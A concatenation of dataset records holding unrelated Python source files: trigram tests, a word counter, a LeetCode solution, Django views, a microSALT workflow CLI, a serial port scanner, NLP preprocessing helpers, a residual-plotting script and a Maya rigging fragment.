trigram.generate_text(start_text = 'three whole')\n        self.assertIsInstance(text, str)\n\n    def test_generate_text_errors_if_start_text_is_less_than_two_words(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        self.assertRaises(ValueError, trigram.generate_text, 'three')\n\n    def test_generate_text_returns_third_whole_trigram(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        text = trigram.generate_text(start_text = 'three whole')\n        self.assertEqual('three whole words', text)\n\n    def test_generate_text_returns_only_start_text_if_no_match(self):\n        trigram = Trigram('three whole words')\n        trigram.parse()\n        text = trigram.generate_text(start_text = 'what the')\n        self.assertEqual('what the', text)\n\n    def test_generate_text_limited_by_max_words_property(self):\n        trigram = Trigram('sorry sorry sorry')\n        trigram.parse()\n        text = trigram.generate_text(start_text = 'sorry sorry',\n                                     max_words = 4)\n        self.assertEqual('sorry sorry sorry sorry', text)\n\n    # load_from_file tests\n    @patch('Trigram.os.path')\n    def test_mapbox_load_from_file_checks_for_file_existance(self,\n                                                             mock_os_path):\n        mock_os_path.exists.return_value = True\n        trigram = Trigram()\n        with patch.object(builtins, 'open',\n                          mock_open(read_data='three whole words')):\n            trigram.load_from_file(filename = 'filename.txt')\n        mock_os_path.exists.assert_called_once_with('filename.txt')\n\n    @patch('Trigram.os.path')\n    def test_mapbox_load_from_file_errors_if_no_file(self, mock_os_path):\n        mock_os_path.exists.return_value = False\n        trigram = Trigram()\n        self.assertRaises(IOError, trigram.load_from_file, 'filename.txt')\n\n    @patch('Trigram.os.path')\n    def test_mapbox_load_from_file_populates_input_text(self, mock_os_path):\n        mock_os_path.exists.return_value = True\n        trigram = Trigram()\n        with patch.object(builtins, 'open',\n                          mock_open(read_data='three whole words')):\n            trigram.load_from_file(filename = 'filename.txt')\n        self.assertEqual('three whole words', trigram.input_text)\n","sub_path":"trigrams/mbramson/test_trigram.py","file_name":"test_trigram.py","file_ext":"py","file_size_in_byte":6594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"296142734","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThis program asks the user to enter a sentence, prints the number of words and\nthe occurances for each word with amount of letters in the given word.\n\"\"\"\n\ndef get_num_letters(word):\n    \"\"\"\n    Return number of letters in a word.\n    Would be easier just to use len() directly than this function...\n    \"\"\"\n    return len(word)\n\ndef get_unique_words(sentence):\n    \"\"\"\n    Return a dictionary with each unique word as the key and number of occurances\n    as the value in a given sentence.\n    \"\"\"\n    words = {}\n    # Split sentence by space\n    for word in sentence.split(' '):\n        # convert to lowercase\n        word_lower = word.lower()\n        # If the word exists, increase the count\n        if words.get(word_lower):\n            words[word_lower] += 1\n        # If not, add the word to the dictionary and set count to 1\n        else:\n            words[word_lower] = 1\n\n    return words\n\ndef main():\n    # Get a sentence from the user\n    user_input = input('Enter a sentence: ')\n\n    # Print number of words in the sentence\n    print('It is {} words in your sentence.'.format(len(user_input.split(' '))))\n    # Print word, occurance and number of letters for each unique word\n    for word, count in get_unique_words(user_input).items():\n        print('The word \"{}\"\\toccur {} times, \\tand has {} letters.'.format(word, count, get_num_letters(word)))\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"oblig4/ordtelling.py","file_name":"ordtelling.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"168756680","text":"# sort the words, then keep in the set and check for nextWord[:-1] in the set\r\nclass Solution:\r\n    def longestWord(self, words: List[str]) -> str:        \r\n        words.sort()\r\n        res = \"\"\r\n        st = set()\r\n        st.add(\"\")\r\n        \r\n        for word in words:\r\n            if word[:-1] in st:\r\n                st.add(word)\r\n                if len(word) > len(res):\r\n                    res = word\r\n\r\n        return res\r\n    \r\n# Time: O(sum(w)+N), w is the length of each word in words, N is the length of words.\r\n# Space: O(sum(w))\r\n    \r\n    \r\n# sorted words: ['a', 'ap', 'app', 'appl', 'apple', 'apply', 'banana'] \r\n\r\n# word: a\r\n# res: a\r\n# set: {'', 'a'}\r\n# ----------\r\n# word: ap\r\n# res: ap\r\n# set: {'', 'a', 'ap'}\r\n# ----------\r\n# word: app\r\n# res: app\r\n# set: {'', 'a', 'app', 'ap'}\r\n# ----------\r\n# word: appl\r\n# res: appl\r\n# set: {'', 'appl', 'app', 'ap', 'a'}\r\n# ----------\r\n# word: apple\r\n# res: apple\r\n# set: {'', 'appl', 'app', 'ap', 'apple', 'a'}\r\n# ----------\r\n# word: apply\r\n# res: apple\r\n# set: {'', 'appl', 'app', 'ap', 'apply', 'apple', 'a'}\r\n# ----------\r\n# word: banana","sub_path":"04 Hash Table/720. Longest Word in Dictionary.py","file_name":"720. Longest Word in Dictionary.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"55283210","text":"from django.shortcuts import render, redirect \nfrom django.contrib import messages\nfrom .forms import UserRegisterForm ,ProfileUpdateForm, UserUpdateForm\n\n\n\n\n\ndef register(request):\n    if request.method == \"POST\":\n        form = UserRegisterForm(request.POST)\n        if form.is_valid():\n            form.save()\n            messages.success(request, f'Account Created Successfully, Please Login')\n            return redirect('login')\n    else:\n        form = UserRegisterForm()\n    return render(request,'users/register.html', {\"form\":form})\n\n\ndef profile(request):\n    if not request.user.is_authenticated:\n        messages.warning(request, f'Please Login to Access this page')\n        return redirect('login')\n    else:\n        if request.method == \"POST\":\n            u_form = UserUpdateForm(request.POST,instance =request.user)\n            p_form = ProfileUpdateForm(request.POST,request.FILES,instance = request.user.profile)\n            if u_form.is_valid() and p_form.is_valid():\n                u_form.save()\n                p_form.save()\n                messages.success(request, f'Account Updated')\n                return redirect('profile')\n        else:\n            u_form = UserUpdateForm(instance =request.user)\n            p_form = ProfileUpdateForm(instance = request.user.profile)\n\n            context = {\n                'u_form':u_form,\n                'p_form':p_form\n            }\n            return render(request, 'users/profile.html',context)\n","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"249746099","text":"\"\"\"Add CLI support to start microsalt\"\"\"\n\nimport json\nimport logging\nfrom pathlib import Path\nimport subprocess\n\nimport click\n\nfrom cg.apps import hk, lims\nfrom cg.apps.usalt.fastq import FastqHandler\nfrom cg.cli.workflow.microsalt.store import store as store_cmd\nfrom cg.cli.workflow.microsalt.deliver import (\n    deliver as deliver_cmd,\n    PROJECT_TAGS,\n    SAMPLE_TAGS,\n)\nfrom cg.meta.microsalt.lims import LimsMicrosaltAPI\nfrom cg.meta.workflow.microsalt import AnalysisAPI\nfrom cg.meta.deliver import DeliverAPI\nfrom cg.store import Store\n\nLOG = logging.getLogger(__name__)\n\n\n@click.group(\"microsalt\", invoke_without_command=True)\n@click.option(\"-o\", \"--order\", \"order_id\", help=\"include all microbial samples for an order\")\n@click.pass_context\ndef microsalt(context: click.Context, order_id):\n    \"\"\"Microbial workflow\"\"\"\n    context.obj[\"db\"] = Store(context.obj[\"database\"])\n    hk_api = hk.HousekeeperAPI(context.obj)\n    lims_api = lims.LimsAPI(context.obj)\n    deliver = DeliverAPI(\n        context.obj,\n        hk_api=hk_api,\n        lims_api=lims_api,\n        case_tags=PROJECT_TAGS,\n        sample_tags=SAMPLE_TAGS,\n    )\n    context.obj[\"api\"] = AnalysisAPI(db=context.obj[\"db\"], hk_api=hk_api, lims_api=lims_api)\n    context.obj[\"lims_microsalt_api\"] = LimsMicrosaltAPI(lims=lims_api)\n\n    if context.invoked_subcommand is None:\n        if order_id is None:\n            LOG.error(\"Please provide an order\")\n            context.abort()\n        else:\n            # execute the analysis!\n            context.invoke(config_case, order_id=order_id)\n            context.invoke(link, order_id=order_id)\n            context.invoke(run, order_id=order_id)\n\n\n@microsalt.command()\n@click.option(\"-o\", \"--order\", \"order_id\", help=\"link all microbial samples for an order\")\n@click.argument(\"sample_id\", required=False)\n@click.pass_context\ndef link(context: click.Context, order_id: str, sample_id: str):\n    \"\"\"Link microbial FASTQ files for a SAMPLE_ID\"\"\"\n    sample_objs = None\n\n    if order_id and (sample_id is None):\n        # link all samples in a case\n        sample_objs = context.obj[\"db\"].microbial_order(order_id).microbial_samples\n    elif sample_id and (order_id is None):\n        # link sample in all its families\n        sample_objs = [context.obj[\"db\"].microbial_sample(sample_id)]\n    elif sample_id and order_id:\n        # link only one sample in a case\n        sample_objs = [context.obj[\"db\"].microbial_sample(sample_id)]\n\n    if not sample_objs:\n        LOG.error(\"provide order and/or sample\")\n        context.abort()\n\n    for sample_obj in sample_objs:\n        LOG.info(\"%s: link FASTQ files\", sample_obj.internal_id)\n        context.obj[\"api\"].link_sample(\n            FastqHandler(context.obj),\n            case=sample_obj.microbial_order.internal_id,\n            sample=sample_obj.internal_id,\n        )\n\n\n@microsalt.command(\"config-case\")\n@click.option(\"-d\", \"--dry\", is_flag=True, help=\"print config-case to console\")\n@click.option(\n    \"-o\", \"--order\", \"order_id\", help=\"create config-case all microbial samples for an order\",\n)\n@click.argument(\"sample_id\", required=False)\n@click.pass_context\ndef config_case(context: click.Context, dry, order_id: str, sample_id: str):\n    \"\"\" Create a config file on case level for microSALT \"\"\"\n    if order_id and (sample_id is None):\n        microbial_order_obj = context.obj[\"db\"].microbial_order(order_id)\n        if not microbial_order_obj:\n            LOG.error(\"Order %s not found\", order_id)\n            context.abort()\n        sample_objs = microbial_order_obj.microbial_samples\n    elif sample_id and (order_id is None):\n        sample_obj = context.obj[\"db\"].microbial_sample(sample_id)\n        if not sample_obj:\n            LOG.error(\"Sample %s not found\", sample_id)\n            context.abort()\n        sample_objs = [context.obj[\"db\"].microbial_sample(sample_id)]\n    elif sample_id and order_id:\n        microbial_order_obj = context.obj[\"db\"].microbial_order(order_id)\n        if not microbial_order_obj:\n            LOG.error(\"Samples %s not found in %s \", sample_id, order_id)\n            context.abort()\n        sample_objs = [\n            sample_obj\n            for sample_obj in microbial_order_obj.microbial_samples\n            if sample_obj.internal_id == sample_id\n        ]\n    else:\n        LOG.error(\"provide order and/or sample\")\n        context.abort()\n\n    parameters = [\n        context.obj[\"lims_microsalt_api\"].get_parameters(sample_obj) for sample_obj in sample_objs\n    ]\n\n    filename = order_id if order_id else sample_id\n    outfilename = Path(context.obj[\"usalt\"][\"queries_path\"]) / filename\n    outfilename = outfilename.with_suffix(\".json\")\n    if dry:\n        print(json.dumps(parameters, indent=4, sort_keys=True))\n    else:\n        with open(outfilename, \"w\") as outfile:\n            json.dump(parameters, outfile, indent=4, sort_keys=True)\n\n\n@microsalt.command()\n@click.option(\"-d\", \"--dry\", is_flag=True, help=\"print command to console\")\n@click.option(\"-c\", \"--config-case\", required=False, help=\"optionally change the config-case\")\n@click.argument(\"order_id\")\n@click.pass_context\ndef run(context, dry, config_case, order_id):\n    \"\"\" Start microSALT with an order_id \"\"\"\n    microsalt_command = context.obj[\"usalt\"][\"binary_path\"]\n    command = [microsalt_command]\n\n    config_case_path = config_case\n    if not config_case:\n        queries_path = Path(context.obj[\"usalt\"][\"queries_path\"])\n        config_case_path = queries_path / order_id\n        config_case_path = config_case_path.with_suffix(\".json\")\n\n    command.extend([\"--parameters\", str(config_case_path)])\n    if dry:\n        print(\" \".join(command))\n    else:\n        LOG.info(\"Starting microSALT! '%s'\", \" \".join(command))\n        subprocess.run(command, shell=True, check=True)\n\n\nmicrosalt.add_command(config_case)\nmicrosalt.add_command(deliver_cmd)\nmicrosalt.add_command(run)\nmicrosalt.add_command(store_cmd)\n","sub_path":"cg/cli/workflow/microsalt/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"264435829","text":"'''\n    Fantasy Game Inventory\n\n    You are creating a fantasy video game. The data structure to model the\n    player’s inventory will be a dictionary where the keys are string values\n    describing the item in the inventory and the value is an integer value detailing how many of that item the player has. For example, the dictionary value\n    {'rope': 1, 'torch': 6, 'gold coin': 42, 'dagger': 1, 'arrow': 12} means the\n    player has 1 rope, 6 torches, 42 gold coins, and so on.\n    Write a function named displayInventory() that would take any possible\n    “inventory” and display it like the following:\n\n        Inventory:\n        12 arrow\n        42 gold coin\n        1 rope\n        6 torch\n        1 dagger\n        Total number of items: 62\n\n'''\ninventory = {'rope': 1, 'torch': 6, 'gold coin': 42, 'dagger': 1, 'arrow': 12}\n\n\ndef display_inventory(items):\n    total = 0\n\n    print('Inventory:')\n    for key, value in items.items(): # [('rope', 1), ('gold coin', 42), ('torch', 6), ('dagger', 1), ('arrow', 12)]\n        print(str(value) + ' ' + str(key))\n        total += value\n\n    print('Toal number of items: ' + str(total))\n\ndisplay_inventory(inventory)\n\n\n\nimport collections\n\ninv = {'gold coin': 42, 'rope': 1}\ndragon_loot = ['gold coin', 'dagger', 'gold coin', 'gold coin', 'ruby']\n\ndef add_to_inventory(inventory, added_items):\n    collected_items = {}\n\n    for item in added_items:\n        collected_items.setdefault(item, 0)\n        collected_items[item] = collected_items[item] + 1\n\n    item_total = collections.Counter(collected_items)\n    add_inv = collections.Counter(inventory)\n\n    return item_total + add_inv\n\n\nsummed_inventory = add_to_inventory(inv, dragon_loot)\ndisplay_inventory(summed_inventory)\n","sub_path":"ATBSWP-projects/fantasy-game-inventory.py","file_name":"fantasy-game-inventory.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"632099783","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n    lantz-scan\n    ~~~~~~~~~~\n\n    Serial port scanner.\n\n    :copyright: 2012 by Lantz Authors, see AUTHORS for more details.\n    :license: BSD, see LICENSE for more details.\n\"\"\"\n\nimport serial\n\ndef scan(ports=None, verbose=False):\n    \"\"\"Scan for available ports.\n\n    :param ports: an iterable of device names or port number numbers.\n                  if None, ports 0 to 9 is given.\n    :param verbose: print status.\n    :return: return a list of tuples (identification, name)\n    \"\"\"\n\n    if not ports:\n        ports = range(10)\n\n    if verbose:\n        _print = print\n    else:\n        def _print(*args, **kwargs):\n            pass\n\n    for port in ports:\n        try:\n            _print('Trying {} ... '.format(port), end='')\n            s = serial.Serial(port)\n            yield port, s.portstr\n            s.close()\n            _print('success (port string: {}'.format(s.portstr))\n        except serial.SerialException:\n            _print('failed!')\n            pass\n\nif __name__=='__main__':\n    import sys\n    import argparse\n\n    parser = argparse.ArgumentParser(description='Tries to open serial ports and print the valid ones.')\n    parser.add_argument('ports', metavar='ports', type=str, nargs='*', default=None,\n                        help='Ports to open. Ranges (e.g. 0-3, meaning 0, 1, 2, 3 are also possible.')\n    args = parser.parse_args()\n\n    if args.ports:\n        try:\n            ports = set()\n            for port in args.ports:\n                if '-' in port:\n                    fr, to = port.split('-')\n                    ports.update(range(int(fr), int(to)+1))\n                else:\n                    try:\n                        ports.add(int(port))\n                    except ValueError:\n                        ports.add(port)\n        except Exception as e:\n            print('Could no parse input {}: {}'.format(port, e))\n            sys.exit(1)\n    else:\n        ports = list(range(0, 10))\n\n    print(\"Testing ports ...\")\n\n    number = len(tuple(scan(ports, verbose=True)))\n\n    print('{} ports found'.format(number + 1))\n","sub_path":"scripts/lantz-scan.py","file_name":"lantz-scan.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"262988939","text":"\"\"\"preprocess.py: Contains general preprocessing functions for textual data\"\"\"\n\nimport spacy\nfrom gensim.models import Word2Vec as word2vec\nimport numpy as np\n\nnp.random.seed(1234)\n\n# A dict of some additional special words\nX_WORDS = {\"unknown\": \"<unk>\", \"start\": \"<start>\", \"end\": \"<end>\", \"digit\": \"<digit>\"}\n\n# Loads the spacy model\nparser = spacy.load('en_core_web_md')\n\n\ndef tokenizer(sentence):\n    \"\"\"\n    Tokenizes a sentence using spacy models.\n    \n    :param sentence: str    \n    :returns tokens: list\n    \"\"\"\n    doc = parser(sentence)\n    tokens = [word.text for word in doc] # get a list of tokenized tokens\n    return tokens\n\n\ndef add_boundary_tags(tokens):\n    \"\"\"\n    Adds start and end tags to list of tokens\n    \n    :param tokens: list: list of tokenized words\n    :returns str: [<start>, w1, w2...., wn, <end>]\n    \"\"\"\n    return [X_WORDS[\"start\"]] + tokens + [X_WORDS[\"end\"]]\n\n\ndef preprocess(documents, to_lower=True, boundary_tags=False):\n    \"\"\"\n    Preprocesses raw text - convert into lowercase add boundary tags\n    \n    :param documents: list: of str\n    :param to_lower: bool: whether to convert text into lowercase(default=True)\n    :param boundary_tags: bool: whether to keep boundary tags or not(start, end)\n    :returns processed: list: of list: of str: a list of lists of words\n    \"\"\"\n    processed = list() \n    \n    for doc in documents:\n        \n        # Convert into lowercase if flag is set\n        if to_lower:\n            doc = doc.lower()\n        tokens = tokenizer(doc)\n        if boundary_tags:\n            tokens = add_boundary_tags(tokens)\n        processed.append(tokens)\n        \n    return processed\n\n\ndef to_indices(documents, to_ix):\n    \"\"\"\n    Converts documents into a list of indices.\n    \n    :param documents: list: of list: of str: a list of lists of words\n    :param to_ix: dict: a word to index mapping\n    :returns indices: list: of list: of int: a list of lists of word indices\n    \"\"\"    \n    indices = list()\n    \n    for doc in documents:\n        tokens = list()\n        for word in doc:\n            try:\n                # Look for the word in dict\n                tokens.append(to_ix[word])\n            except:\n                # If not found then add a special word for unknown\n                tokens.append(to_ix[X_WORDS[\"unknown\"]])\n        indices.append(tokens)\n        \n    return indices\n\n\ndef w2v_word_mapping(model_path):\n    \"\"\"\n    Returns mapping of words to indices and vice-versa.\n    In addition to a numpy matrix representation of\n    pre-trained word vectors with gensim.\n    \n    :param model_path: str: Relative path to the pre-trained gensim model    \n    :returns (word_vectors: np.array: of float: A matrix representation of gensim word vectors,\n              index_to_word: list: Index to word mapping,\n              word_to_index: dict: Word to Index mapping)\n    \"\"\"\n    \n    # Load Word Vector Model and get a list of vocab\n    wv_model = word2vec.load(model_path)\n    index_to_word = list(wv_model.wv.vocab.keys())\n   \n    word_vectors = list()\n    \n    # Populate matrix of word vectors\n    for word in index_to_word:\n        word_vectors.append(wv_model[word])\n    \n    # Add a special words(unknow, start, end)\n    index_to_word += X_WORDS.values()\n    \n    # Create a reverse mapping for words\n    word_to_index = dict((word, idx) for idx, word in enumerate(index_to_word))    \n    \n    for word in X_WORDS:\n        # A random_vector for special words\n        random_vector = np.random.rand(wv_model.vector_size)\n        word_vectors.append(random_vector)\n    \n    return np.array(word_vectors), index_to_word, word_to_index\n\n\ndef data_word_mapping(documents):\n    \"\"\"\n    Returns unique words in a list of strings\n    \n    :param documents: list: a list of strings    \n    :returns (None, index_to_word: list: Index to word mapping,\n              word_to_index: dict: Word to Index mapping)\n    \"\"\"\n    \n    # If type of documents is a list of words then join them together\n    if type(documents[0]) == list:\n        documents = [\" \".join(doc) for doc in documents]\n        \n    vocab = (\" \".join(documents).split()) + [X_WORDS[\"unknown\"]] # End tags will already be there\n    index_to_word = np.unique(vocab)\n    word_to_index = dict((word, idx) for idx, word in enumerate(index_to_word))\n    \n    return None, index_to_word, word_to_index\n\n\ndef get_word_mappings(documents=None, w2v_path=None):\n    \"\"\"\n    Returns mapping of words to indices and vice-versa.\n    If the `w2v_path` is given then this will also return \n    a numpy matrix representation of pre-trained word vectors with gensim.\n    \n    :param documents: list: of str: a list of documents/sentences/paragraphs\n    :param w2v_path: str: Relative path for pre-trained gensim model\n    \n    :returns (word_vectors: np.array: of float: A matrix representation of gensim word vectors,\n              index_to_word: list: Index to word mapping,\n              word_to_index: dict: Word to Index mapping)\n    \"\"\"\n    if documents:\n        return data_word_mapping(documents)\n    elif w2v_path:\n        return w2v_word_mapping(w2v_path)\n    else:\n        print(\"Provide either a list of documents or path to a pre-trained gensim model.\")\n        \n        \ndef train_test_split(dataset, test_size=0.10):\n    \"\"\"\n    Splits the dataset into training and test sets.\n    Each element of 'dataset' has to be a tuple where\n    first index is input for the model and second index contains output.\n    \n    :param dataset: tuple: of (list, list): a tuple with one input and output sample\n    :param test_size: int/float: if a float value is given than that portion of 'dataset'(default=0.10)\n     will be made the test size. An integer value simply represents the count of test samples/\n    :returns (train_data: tuple: of (list, list), test_data: tuple: of (list, list)) \n    \"\"\"\n    # Let there be some randomness\n    np.random.shuffle(dataset)\n    \n    # If test_size is float then get number of sample for that proportion\n    if type(test_size) == float:\n        test_size = int(len(dataset) * test_size)\n\n    test_data = dataset[:test_size]\n    train_data = dataset[test_size:]\n    \n    return train_data, test_data","sub_path":"projects/Word2Vec/scripts/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":6170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"483078363","text":"import numpy as np\nimport matplotlib\nmatplotlib.use('Qt5Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nimport subprocess  # better than os.system()\n\n# harvest data\n\n# subdirname = 'fullUpwindIBL_fullUpwindTr'\n# subdirname = 'LFIBL_fullUpwindTr'\n# subdirname = 'straightManifold_fullUpwind_p0'  # good\n# subdirname = 'straightManifold_fullUpwind_p1'  # good\n\n# subdirname = 'curvedManifold_fullUpwind_p0_avgTraceNormal'\n# subdirname = 'curvedManifold_fullUpwind_p0_sepTraceNormal'\n# subdirname = 'curvedManifold_fullUpwind_p0_sepTraceNormal_upstreamNrm'  # good\nsubdirname = 'curvedManifold_fullUpwind_p1_sepTraceNormal_upstreamNrm'  # good\n\n# order_soln = 0\norder_soln = 1\n\nif order_soln == 0:\n    nDOF = 24\nelif order_soln == 1:\n    nDOF = 36\nelse:\n    raise AssertionError('not supported!')\n\nindx_rsd = 33  # index of residual component to be examined\n\nexponent_array = np.arange(-12, -2, 1)\n\nxtrrel_plus = np.ndarray(exponent_array.size)\nresdat_plus = np.ndarray([xtrrel_plus.size, nDOF])\n\nxtrrel_minus = np.ndarray(exponent_array.size)\nresdat_minus = np.ndarray([xtrrel_minus.size, nDOF])\n\nresdat_zero = np.genfromtxt('/Users/shunz/Workstation/SANSdevelop/test/sandbox/tmp/%s/' % subdirname\n                            + 'rsdInit_forcedTransition_xtr0p7054156_p%d.txt' % order_soln)\n\nfor j in range(exponent_array.size):\n    exponent = exponent_array[j]\n\n    filename = '/Users/shunz/Workstation/SANSdevelop/test/sandbox/tmp/%s/' % subdirname + \\\n               'rsdInit_forcedTransition_xtr0p7054156m1em%d_p%d.txt' % (abs(exponent), order_soln)\n    xtrrel_minus[j] = -pow(10.0, exponent)\n    resdat_minus[j, :] = np.genfromtxt(filename)\n\n    filename = '/Users/shunz/Workstation/SANSdevelop/test/sandbox/tmp/%s/' % subdirname + \\\n               'rsdInit_forcedTransition_xtr0p7054156p1em%d_p%d.txt' % (abs(exponent), order_soln)\n    xtrrel_plus[j] = +pow(10.0, exponent)\n    resdat_plus[j, :] = np.genfromtxt(filename)\n\n# examine residual\n\n# print residual\nprint(\"resdat_minus: \", resdat_minus[:, indx_rsd])\nprint(\"resdat_zero : \", resdat_zero[indx_rsd])\nprint(\"resdat_plus : \", resdat_plus[:, indx_rsd])\n\n# plot residual\n\nplt.rc('text', usetex=True)\nplt.rc('font', family='Times New Roman')\n# plt.rcParams[\"figure.figsize\"] = [16, 9]\n\nplt.figure(1, figsize=[12, 7])\n\nax1 = plt.subplot(2, 2, 1)\ncp = plt.plot(xtrrel_minus, resdat_minus[:, indx_rsd], 'b+-')\nplt.plot(0.0, resdat_zero[indx_rsd], 'ro-')\nplt.plot(xtrrel_minus, np.zeros(exponent_array.size), 'k--')\nplt.xscale('symlog', linthreshx=1e-12)\nplt.yscale('symlog', linthreshy=1e-17)\n\nplt.title('Residual \\#%d' % indx_rsd)\nplt.xlabel(r'$x_\\textrm{tr} - x_\\textrm{interface}$')\nplt.ylabel('Residual')\n\n# ax = plt.gca()\nax1.yaxis.set_major_locator(ticker.SymmetricalLogLocator(base=10, linthresh=np.min(np.abs(resdat_minus[:, indx_rsd]))))\nax1.yaxis.set_major_formatter(ticker.LogFormatterSciNotation(base=10))\n\nplt.subplot(2, 2, 3, sharex=ax1)\ncp = plt.plot(xtrrel_minus, np.abs(resdat_minus[:, indx_rsd]), 'b+-')\nplt.plot(0.0, abs(resdat_zero[indx_rsd]), 'ro-')\nplt.xscale('symlog', linthreshx=1e-12)\nplt.yscale('log')\n\nplt.title('Residual \\#%d' % indx_rsd)\nplt.xlabel(r'$x_\\textrm{tr} - x_\\textrm{interface}$')\nplt.ylabel('Residual Magnitude')\n\n# plt.axis('equal')\nplt.tight_layout()\n\n# plt.figure(2)\n\nax2 = plt.subplot(2, 2, 2)\nplt.plot(xtrrel_plus, resdat_plus[:, indx_rsd], 'b+-')\n\nif False: # only available in LFIBL_fullUpwindTr for index = 24\n    subs_finer_array = np.linspace(1, 10, 10, endpoint=True, dtype=float)\n    xtrrel_plus_finer = np.ndarray(subs_finer_array.size)\n    resdat_plus_finer = np.ndarray([xtrrel_plus_finer.size, nDOF])\n\n    for j in range(subs_finer_array.size):\n        subs = subs_finer_array[j]\n        filename = '/Users/shunz/Workstation/SANSdevelop/test/sandbox/tmp/%s/' % subdirname + \\\n                   'rsdInit_forcedTransition_xtr0p7054156p%dem7.txt' % int(subs)\n        xtrrel_plus_finer[j] = subs*1e-7\n        resdat_plus_finer[j, :] = np.genfromtxt(filename)\n\n    print(\"resdat_plus_finer : \", resdat_plus_finer[:, indx_rsd])\n\n    plt.plot(xtrrel_plus_finer, resdat_plus_finer[:, indx_rsd], 'bx-')\n\nplt.plot(0.0, resdat_zero[indx_rsd], 'ro-')\nplt.plot(xtrrel_plus, np.zeros(exponent_array.size), 'k--')\nplt.xscale('symlog', linthreshx=1e-12)\nplt.yscale('symlog', linthreshy=1e-17)\n\nplt.title('Residual \\#%d' % indx_rsd)\nplt.xlabel(r'$x_\\textrm{tr} - x_\\textrm{interface}$')\nplt.ylabel('Residual')\n\nax2.yaxis.set_major_locator(ticker.SymmetricalLogLocator(base=10, linthresh=np.min(np.abs(resdat_plus[:, indx_rsd]))))\nax2.yaxis.set_major_formatter(ticker.LogFormatterSciNotation(base=10))\n\nplt.subplot(2, 2, 4, sharex=ax2)\nplt.plot(xtrrel_plus, np.abs(resdat_plus[:, indx_rsd]), 'b+-')\nplt.plot(0.0, abs(resdat_zero[indx_rsd]), 'ro-')\nplt.xscale('symlog', linthreshx=1e-12)\nplt.yscale('log')\n\nplt.title('Residual \\#%d' % indx_rsd)\nplt.xlabel(r'$x_\\textrm{tr} - x_\\textrm{interface}$')\nplt.ylabel('Residual Magnitude')\n\n# plt.axis('equal')\nplt.tight_layout()\n\nplt.show()\n\n# plt.gcf().set_size_inches(w=14, h=7)\n\nif True:\n    filenamefig = 'residualVariation_rsd%d.eps' % indx_rsd\n    plt.gcf().savefig(filenamefig, format='eps')\n\n    # os.system(\"epstopdf %s\" % filenamefig)\n    subprocess.call([\"epstopdf\", filenamefig])\n    subprocess.call([\"rm\", filenamefig])\n","sub_path":"cutcellResidualSmoothnessCheck.py","file_name":"cutcellResidualSmoothnessCheck.py","file_ext":"py","file_size_in_byte":5293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"397913986","text":"\"\"\"\n    # FKIK fingers\n    rig.fingerFKIKSetup(fingerNames=[\"Index\", \"Middle\", \"Ring\", \"Pinky\", \"Thumb\"], sides=[\"L\", \"R\"])\n\n    # Rig control modifications\n    modify.masterControl(controlScale=1.0)\n    modify.bodyControl(controlScale=1.0)\n    modify.cogControl(controlScale=1.0)\n    modify.hipSwinger(controlScale=1.0)\n    modify.fkikControls(controlScale=1.0)\n    modify.curveControlColors()\n\n\n    # FOOT MOD\n# IK Foot Modification - Use attributes to control foot pivots instead of controls\nfoot_ctl = 'lf_leg_ik_ctl'\n\n# Add attrs\nfoot_attrs = [ 'footTilt', 'heelBall', 'heelBallAngle', 'toesUpDn', 'ballSwivel', 'heelSwivel', ]\n\nfor foot_attr in foot_attrs:\n    cmds.addAttr(foot_ctl, ln=foot_attr, dv=0, at='double')\n    cmds.setAttr('{}.{}'.format(foot_ctl, foot_attr), k=True, l=False)\n\ncmds.setAttr('{}.heelBallAngle'.format(foot_ctl), 25)\n\n# Connect foot attrs\ncmds.connectAttr( '{}.footTilt'.format(foot_ctl), '{}.rock'.format(foot_ctl) )\ncmds.connectAttr( '{}.heelBall'.format(foot_ctl), '{}.roll'.format(foot_ctl) )\ncmds.connectAttr( '{}.heelBallAngle'.format(foot_ctl), '{}.rollAngle'.format(foot_ctl) )\ncmds.connectAttr( '{}.toesUpDn'.format(foot_ctl), 'lf_toes_ik_ctl.rx'.format(foot_ctl) )\n#cmds.connectAttr( '{}.ballSwivel'.format(foot_ctl), '{}.roll'.format(foot_ctl) )\ncmds.connectAttr( '{}.heelSwivel'.format(foot_ctl), 'lf_heelSwing_ctl.ry'.format(foot_ctl) )\n\n# Hide existing attrs\nfoot_attrs_hide = ['swivel', 'roll', 'rollAngle', 'rock']\nfor foot_attr_hide in foot_attrs_hide:\n    cmds.setAttr('{}.{}'.format(foot_ctl, foot_attr_hide), k=False, l=False)\n\n# Hide existing controls\ncmds.hide('lf_IKOffsettoes', 'lf_heelSwing_ctl', 'lf_rollHeel_ctlShape')\n\n\nFootTilt = Existing \"Rock\" attr\nHeelBall = Existing \"Roll\" attr\nToesUpDn = 'lf_toes_ik_ctl.rx'\nBallSwivel =\nHeelSwivel = Existing \"Swivel\" attr\nToeCtl = lf_rolltoesEnd_ctl\n\n\"\"\"\n\nimport os\nimport json\n\nimport maya.cmds as cmds\nimport maya.mel 